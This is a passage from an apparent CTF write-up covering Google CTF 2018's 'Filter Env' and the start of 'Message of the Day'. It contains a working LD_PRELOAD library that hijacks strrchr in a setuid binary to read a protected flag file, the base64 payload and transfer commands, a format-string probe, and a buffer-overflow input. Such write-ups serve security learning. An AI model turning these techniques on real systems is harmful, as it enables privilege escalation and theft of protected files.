<span class="n">env</span> <span class="o">=</span> <span class="n">realloc</span><span class="p">(</span><span class="n">env</span><span class="p">,</span> <span class="n">n</span><span class="o">*</span><span class="k">sizeof</span><span class="p">(</span><span class="kt">char</span><span class="o">*</span><span class="p">));</span>
<span class="k">if</span> <span class="p">(</span><span class="n">env</span> <span class="o">==</span> <span class="nb">NULL</span><span class="p">)</span>
<span class="n">err</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="s">"realloc"</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">len</span> <span class="o">></span> <span class="mi">0</span> <span class="o">&&</span> <span class="n">line</span><span class="p">[</span><span class="n">len</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span> <span class="o">==</span> <span class="sc">'\n'</span><span class="p">)</span>
<span class="n">line</span><span class="p">[</span><span class="n">len</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="sc">'\x00'</span><span class="p">;</span>
<span class="n">env</span><span class="p">[</span><span class="n">n</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="n">strdup</span><span class="p">(</span><span class="n">line</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">env</span><span class="p">[</span><span class="n">n</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span> <span class="o">==</span> <span class="nb">NULL</span><span class="p">)</span>
<span class="n">err</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="s">"strdup"</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">if</span> <span class="p">(</span><span class="n">env</span> <span class="o">==</span> <span class="nb">NULL</span><span class="p">)</span>
<span class="n">errx</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="s">"no variable set</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="k">return</span> <span class="n">env</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>From the top, the function reads in a line via the following code: <code class="language-plaintext highlighter-rouge">if (fgets(line, sizeof(line), stdin) == NULL)</code>, with each line being 1024 bytes as per <code class="language-plaintext highlighter-rouge">char line[1024]</code>.</p>
<p>The code seems to prevent allocation of more then 32 lines of environmental variables via the following if function: <code class="language-plaintext highlighter-rouge">if (++n > 32)</code> .</p>
<p>It then allocates space on the heap for the whole <code class="language-plaintext highlighter-rouge">env</code> variable via <code class="language-plaintext highlighter-rouge">env = realloc(env, n*sizeof(char*));</code> which is just an array of character pointers or strings. The string are added to the array via <code class="language-plaintext highlighter-rouge">env[n-1] = strdup(line)</code>.</p>
<p>Pretty much this loops and resizes the data in the heap for each new string via the <a href="https://www.tutorialspoint.com/c_standard_library/c_function_realloc.htm">realloc</a> function call.</p>
<p>From here is seems that these strings of environmental variables will be passed into something like <a href="http://man7.org/linux/man-pages/man2/execve.2.html">execve</a>. BUT, take note of the following in the manual page.</p>
<blockquote>
<p>The <em>argv</em> and <em>envp</em> arrays must each include a null pointer at the end of the array.</p>
</blockquote>
<p>But if we look into the code, we see that there is no NULL terminator being added to the end of the environmental variable array.</p>
<p>If we look deeper into the code for the <code class="language-plaintext highlighter-rouge">filter_env</code> function we will notice where the bug can be exploited.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kt">void</span> <span class="nf">filter_env</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
<span class="p">{</span>
<span class="kt">char</span> <span class="o">**</span><span class="n">p</span><span class="p">;</span>
<span class="k">for</span> <span class="p">(</span><span class="n">p</span> <span class="o">=</span> <span class="n">unsafe</span><span class="p">;</span> <span class="o">*</span><span class="n">p</span> <span class="o">!=</span> <span class="nb">NULL</span><span class="p">;</span> <span class="n">p</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="n">getenv</span><span class="p">(</span><span class="o">*</span><span class="n">p</span><span class="p">)</span> <span class="o">!=</span> <span class="nb">NULL</span><span class="p">)</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="n">setenv</span><span class="p">(</span><span class="o">*</span><span class="n">p</span><span class="p">,</span> <span class="s">""</span><span class="p">,</span> <span class="mi">1</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span>
<span class="n">err</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="s">"setenv"</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="cm">/* just be safe, prevent heap spraying attacks */</span>
<span class="n">shuffle</span><span class="p">();</span>
<span class="p">}</span>
</code></pre></div></div>
<p>We can see via the following line of code: <code class="language-plaintext highlighter-rouge">for (p = unsafe; *p != NULL; p++)</code> that this filter function keeps working till it reaches <code class="language-plaintext highlighter-rouge">NULL</code>. But there is no NULL terminator!</p>
<p>The code simply get’s the environmental variable via <a href="http://man7.org/linux/man-pages/man3/getenv.3.html">getenv</a> and if it’s not NULL, then it set’s the environmental variable to an empty string via <a href="http://man7.org/linux/man-pages/man3/setenv.3.html">setenv</a> if the variable exists in the environment.</p>
<p>The problem with this is that both the <code class="language-plaintext highlighter-rouge">getnev</code> and <code class="language-plaintext highlighter-rouge">setenv</code> functions operate only on a first variable and returns the pointer to the first matching environment variable. This will allow us to provide identical environmental variables which will cause the function to filter the first one, and then load the second one into the environment.</p>
<p>So to exploit this, let’s use <a href="http://www.goldsborough.me/c/low-level/kernel/2016/08/29/16-48-53-the_-ld_preload-_trick/">LD_PRELOAD</a> with a custom C function that will hijack a system call in the application, which once that system function is called, our hijacked function will run and read the flag.</p>
<p>We know that the application calls <code class="language-plaintext highlighter-rouge">/usr/bin/id</code> in the main function, so let’s try hijacking <a href="http://man7.org/linux/man-pages/man1/id.1.html">id</a>.</p>
<p>We will use <a href="http://man7.org/linux/man-pages/man1/ltrace.1.html">ltrace</a> against the <code class="language-plaintext highlighter-rouge">id</code> function to trace the library calls, we can then choose a library call to hijack.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@kali:~/Google-CTF/Filter Env#</span><span class="w"> </span>ltrace <span class="nb">id</span> | <span class="nb">head</span>
<span class="go">is_selinux_enabled(1, 0x7ffca5dbbbc8, 0x7ffca5dbbbd8, 0x7f7cb3e98718) = 0
strrchr("id", '/') = nil
setlocale(LC_ALL, "") = "en_US.UTF-8"
bindtextdomain("coreutils", "/usr/share/locale") = "/usr/share/locale"
textdomain("coreutils") = "coreutils"
</span></code></pre></div></div>
<p>Right away I notice that the C function call <a href="https://www.tutorialspoint.com/c_standard_library/c_function_strrchr.htm">strrchr</a> is being used, so let’s hijack that function.</p>
<p>Simply let’s build a <a href="https://superuser.com/questions/71404/what-is-an-so-file">Shared Object</a> file with the following contents that will be used for the LD_PRELOAD. The C code simply is used to read the flag for us.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include <stdio.h>
#include <stdlib.h>
</span>
<span class="kt">void</span> <span class="nf">strrchr</span><span class="p">()</span>
<span class="p">{</span>
<span class="kt">FILE</span> <span class="o">*</span><span class="n">fptr</span> <span class="o">=</span> <span class="n">fopen</span><span class="p">(</span><span class="s">"/home/adminimum/flag"</span><span class="p">,</span> <span class="s">"rb"</span><span class="p">);</span>
<span class="kt">char</span> <span class="n">c</span> <span class="o">=</span> <span class="n">fgetc</span><span class="p">(</span><span class="n">fptr</span><span class="p">);</span>
<span class="k">while</span> <span class="p">(</span><span class="n">c</span> <span class="o">!=</span> <span class="n">EOF</span><span class="p">)</span>
<span class="p">{</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"%c"</span><span class="p">,</span> <span class="n">c</span><span class="p">);</span>
<span class="n">c</span> <span class="o">=</span> <span class="n">fgetc</span><span class="p">(</span><span class="n">fptr</span><span class="p">);</span>
<span class="p">}</span>
<span class="n">fclose</span><span class="p">(</span><span class="n">fptr</span><span class="p">);</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Once done, let’s compile it.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@kali:~/Google-CTF/Filter Env#</span><span class="w"> </span>gcc <span class="nt">-shared</span> exp.c <span class="nt">-o</span> exp.so
<span class="go">exp.c:4:6: warning: conflicting types for built-in function ‘strrchr’ [-Wbuiltin-declaration-mismatch]
void strrchr()
^~~~~~~
exp.c: In function ‘strrchr’:
exp.c:14:9: warning: ‘return’ with a value, in function returning void
</span><span class="gp"> return 0;</span><span class="w">
</span><span class="go"> ^
exp.c:4:6: note: declared here
void strrchr()
^~~~~~~
</span></code></pre></div></div>
<p>To transport this file over to the server, we will <a href="https://www.gnu.org/software/gzip/">gzip</a> the file and then get the base64 output of it. We can then pass the base64 code over to the server, and unzip the file.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@kali:~/Google-CTF/Filter Env#</span><span class="w"> </span><span class="nb">ls</span> <span class="nt">-la</span>
<span class="go">total 32
drwxr-xr-x 2 root root 4096 Feb 24 17:25 .
drwxr-xr-x 12 root root 4096 Feb 8 22:42 ..
-rw-r--r-- 1 root root 220 Feb 24 17:24 exp.c
-rwxr-xr-x 1 root root 16136 Feb 24 17:25 exp.so
-rw-r--r-- 1 root root 2425 Nov 30 1979 filterenv.c
</span><span class="gp">root@kali:~/Google-CTF/Filter Env#</span><span class="w"> </span><span class="nb">gzip </span>exp.so
<span class="gp">root@kali:~/Google-CTF/Filter Env#</span><span class="w"> </span><span class="nb">ls</span> <span class="nt">-la</span>
<span class="go">total 20
drwxr-xr-x 2 root root 4096 Feb 24 17:25 .
drwxr-xr-x 12 root root 4096 Feb 8 22:42 ..
-rw-r--r-- 1 root root 220 Feb 24 17:24 exp.c
-rwxr-xr-x 1 root root 2083 Feb 24 17:25 exp.so.gz
-rw-r--r-- 1 root root 2425 Nov 30 1979 filterenv.c
</span><span class="gp">root@kali:~/Google-CTF/Filter Env#</span><span class="w"> </span><span class="nb">base64 </span>exp.so.gz | <span class="nb">tr</span> <span class="nt">-d</span> <span class="s1">'\n'</span>
<span class="go">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
</span></code></pre></div></div>
<p>Once done, let’s put this file on the server.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="go">cd /tmp
ls -la
total 4
drwxrwxrwt 2 user user 40 Feb 24 23:28 .
drwxr-xr-x 21 user user 4096 Oct 24 19:10 ..
</span><span class="gp">echo "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" | base64 -d ></span><span class="o">></span> exp.so.gz
<span class="go">ls -la
total 8
drwxrwxrwt 2 user user 60 Feb 24 23:35 .
drwxr-xr-x 21 user user 4096 Oct 24 19:10 ..
-rw-r--r-- 1 user user 2083 Feb 24 23:35 exp.so.gz
</span></code></pre></div></div>
<p>On the server we will use <a href="https://linux.die.net/man/1/gunzip">gunzip</a> to extract the file.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="go">gunzip exp*
ls -la
total 20
drwxrwxrwt 2 user user 60 Feb 24 23:35 .
drwxr-xr-x 21 user user 4096 Oct 24 19:10 ..
-rw-r--r-- 1 user user 16136 Feb 24 23:35 exp.so
</span></code></pre></div></div>
<p>Awesome, from here we can navigate to the <code class="language-plaintext highlighter-rouge">filterenv</code> binary and execute it with our LD_PRELOAD function. This should give us the flag.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="go">cd /home/adminimum
ls -la
total 40
drwxr-xr-x 2 nobody nogroup 4096 Jun 14 2018 .
drwxr-xr-x 4 nobody nogroup 4096 Jun 6 2018 ..
-rw-r--r-- 1 nobody nogroup 220 Aug 31 2015 .bash_logout
-rw-r--r-- 1 nobody nogroup 3771 Aug 31 2015 .bashrc
-rw-r--r-- 1 nobody nogroup 655 May 16 2017 .profile
-rwsr-xr-x 1 adminimum adminimum 13648 Jun 14 2018 filterenv
-r-------- 1 adminimum adminimum 19 May 24 2018 flag
./filterenv
[*] waiting for new environment
LD_PRELOAD=/tmp/exp.so
LD_PRELOAD=/tmp/exp.so
LD_PRELOAD=/tmp/exp.so
LD_PRELOAD=/tmp/exp.so
CTF{H3ll0-Kingc0p3}
uid=1338(adminimum) gid=1337(user) groups=1337(user)
</span></code></pre></div></div>
<p>And just like that we got the flag!</p>
<p><strong>FLAG:</strong> CTF{H3ll0-Kingc0p3}</p>
<h2 id="message-of-the-day">Message of the Day</h2>
<p align="center"><a href="/images/gctf18-pwn2-2.png"><img src="/images/gctf18-pwn2-2.png" /></a></p>
<p>Upon reading the challenge description we learn that we got access to the Google-Haus smart hub. It seems that the system we are on delivers the ability to print a “Message-of-the-day”. Alright, so I’m guessing we need to exploit something with the messages.</p>
<p>Let’s connect to the <code class="language-plaintext highlighter-rouge">motd.ctfcompetition.com</code> server on port <code class="language-plaintext highlighter-rouge">1337</code> and see what we have to work with.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@kali:~/Google-CTF/Message Of The Day#</span><span class="w"> </span>nc motd.ctfcompetition.com 1337
<span class="go">Choose functionality to test:
1 - Get user MOTD
2 - Set user MOTD
3 - Set admin MOTD (TODO)
4 - Get admin MOTD
5 - Exit
choice:
</span></code></pre></div></div>
<p>Alright, we notice that we have a few options - one to set a new message for the user and admin, and another option to print the message of the user and admin.</p>
<p>Let’s go through the functionality to see what it does.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@kali:~/Google-CTF/Message Of The Day#</span><span class="w"> </span>nc motd.ctfcompetition.com 1337
<span class="go">Choose functionality to test:
1 - Get user MOTD
2 - Set user MOTD
3 - Set admin MOTD (TODO)
4 - Get admin MOTD
5 - Exit
choice: 1
MOTD: Welcome back friend!
Choose functionality to test:
1 - Get user MOTD
2 - Set user MOTD
3 - Set admin MOTD (TODO)
4 - Get admin MOTD
5 - Exit
choice: 3
TODO: Allow admin MOTD to be set
Choose functionality to test:
1 - Get user MOTD
2 - Set user MOTD
3 - Set admin MOTD (TODO)
4 - Get admin MOTD
5 - Exit
choice: 4
You're not root!
Choose functionality to test:
1 - Get user MOTD
2 - Set user MOTD
3 - Set admin MOTD (TODO)
4 - Get admin MOTD
5 - Exit
choice: 2
Enter new message of the day
New msg: Testing
New message of the day saved!
Choose functionality to test:
1 - Get user MOTD
2 - Set user MOTD
3 - Set admin MOTD (TODO)
4 - Get admin MOTD
5 - Exit
choice: 1
Testing
Choose functionality to test:
1 - Get user MOTD
2 - Set user MOTD
3 - Set admin MOTD (TODO)
4 - Get admin MOTD
5 - Exit
choice: 2
Enter new message of the day
New msg: %x %x %x
New message of the day saved!
Choose functionality to test:
1 - Get user MOTD
2 - Set user MOTD
3 - Set admin MOTD (TODO)
4 - Get admin MOTD
5 - Exit
choice: 1
1 fffffd7d ffffffda
</span></code></pre></div></div>
<p>Awesome, so it seems we found a format string vulnerability in reading the message of the day! At the same time it seems we aren’t running as root so we can’t really set anything for the admin, but that’s okay!</p>
<p>Okay with this in mind, let’s go ahead and download the attachment and extract the files. We should then be presented with the following binary.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@kali:~/Google-CTF/Message Of The Day#</span><span class="w"> </span><span class="nb">ls</span>
<span class="go">motd
</span><span class="gp">root@kali:~/Google-CTF/Message Of The Day#</span><span class="w"> </span>file motd
<span class="go">motd: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=48025612558d041aa5521523e5e98194320d1fa4, not stripped
</span></code></pre></div></div>
<p>From here let’s open the binary up in IDA, press <code class="language-plaintext highlighter-rouge">Shift+F12</code> to pull up the string window and let’s look for the “New message of the day saved!” string.</p>
<p align="center"><a href="/images/gctf18-pwn2-3.png"><img src="/images/gctf18-pwn2-3.png" /></a></p>
<p>Once found, let’s double click that, and in the next window highlight the function, and press <code class="language-plaintext highlighter-rouge">x</code> to get the cross reference. From there just follow the cross reference of where the string is called from and we should see the following.</p>
<p align="center"><a href="/images/gctf18-pwn2-4.png"><img src="/images/gctf18-pwn2-4.png" /></a></p>
<p>Right away I notice that <a href="https://www.tutorialspoint.com/c_standard_library/c_function_printf.htm">printf</a> is being used, which allows for format string exploits to occur!</p>
<p>But then I notice something else…</p>
<p align="center"><a href="/images/gctf18-pwn2-5.png"><img src="/images/gctf18-pwn2-5.png" /></a></p>
<p>Notice that the vulnerable <a href="https://www.tutorialspoint.com/c_standard_library/c_function_gets.htm">gets</a> function is used, which doesn’t check buffer lengths. It seems that the source for our string is set to <code class="language-plaintext highlighter-rouge">100h</code> or <code class="language-plaintext highlighter-rouge">256</code> bytes, so if we can overflow the buffer, what can we do?</p>
<p>Well we know that there is option to write a message as admin, so let’s dig into that to see if we can’t exploit that. We can start by looking for the “You’re not root!” string.</p>
<p align="center"><a href="/images/gctf18-pwn2-6.png"><img src="/images/gctf18-pwn2-6.png" /></a></p>
<p>From here, simply follow the cross reference and we should see the following.</p>
<p align="center"><a href="/images/gctf18-pwn2-7.png"><img src="/images/gctf18-pwn2-7.png" /></a></p>
<p>Right away we can see that this option calls the <a href="http://man7.org/linux/man-pages/man2/getuid.2.html">getuid</a> function and compares it to <code class="language-plaintext highlighter-rouge">0</code> or root. If we are root, then the option calls the <code class="language-plaintext highlighter-rouge">read_flag</code> function and reads our flag, otherwise we get the not root message.</p>
<p>Okay, so I know we have a format string exploit and a buffer overflow, let’s see where the <code class="language-plaintext highlighter-rouge">read_flag</code> function is in memory which we can then use to overwrite the <a href="https://stackoverflow.com/questions/42215105/understanding-rip-register-in-intel-assembly">RIP</a> or Instruction Pointer to read the flag.</p>
<p align="center"><a href="/images/gctf18-pwn2-8.png"><img src="/images/gctf18-pwn2-8.png" /></a></p>
<p>We can see that the function is at the memory address of <code class="language-plaintext highlighter-rouge">606063A5</code>, from here let’s verify the security properties of the executable.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@kali:~/Google-CTF/Message Of The Day#</span><span class="w"> </span>checksec motd
<span class="go">[*] '/root/Google-CTF/Message Of The Day/motd'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
</span></code></pre></div></div>
<p>Awesome, so there’s no ASLR and no stack canaries, so we can easily attempt a buffer overflow and replace the <code class="language-plaintext highlighter-rouge">RIP</code> with the address of the <code class="language-plaintext highlighter-rouge">read_flag</code> function. Let’s test this locally.</p>
<p>I will be using <a href="https://github.com/longld/peda">PEDA</a> with <a href="https://www.gnu.org/software/gdb/">gdb</a> to make looking at the exploit easier.</p>
<p>First off, let’s create a string of A’s that 256 bytes long, followed by a string of B’s that 8 bytes. The B’s will represent the memory address we want to inject, also reason the B’s are 8 bytes long is because this is an x64 architecture, and not x86 where in x86 addresses are 4 bytes long.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@kali:~/Google-CTF/Message Of The Day#</span><span class="w"> </span>perl <span class="nt">-e</span> <span class="s1">'print "A"x256 . "B"x8'</span>
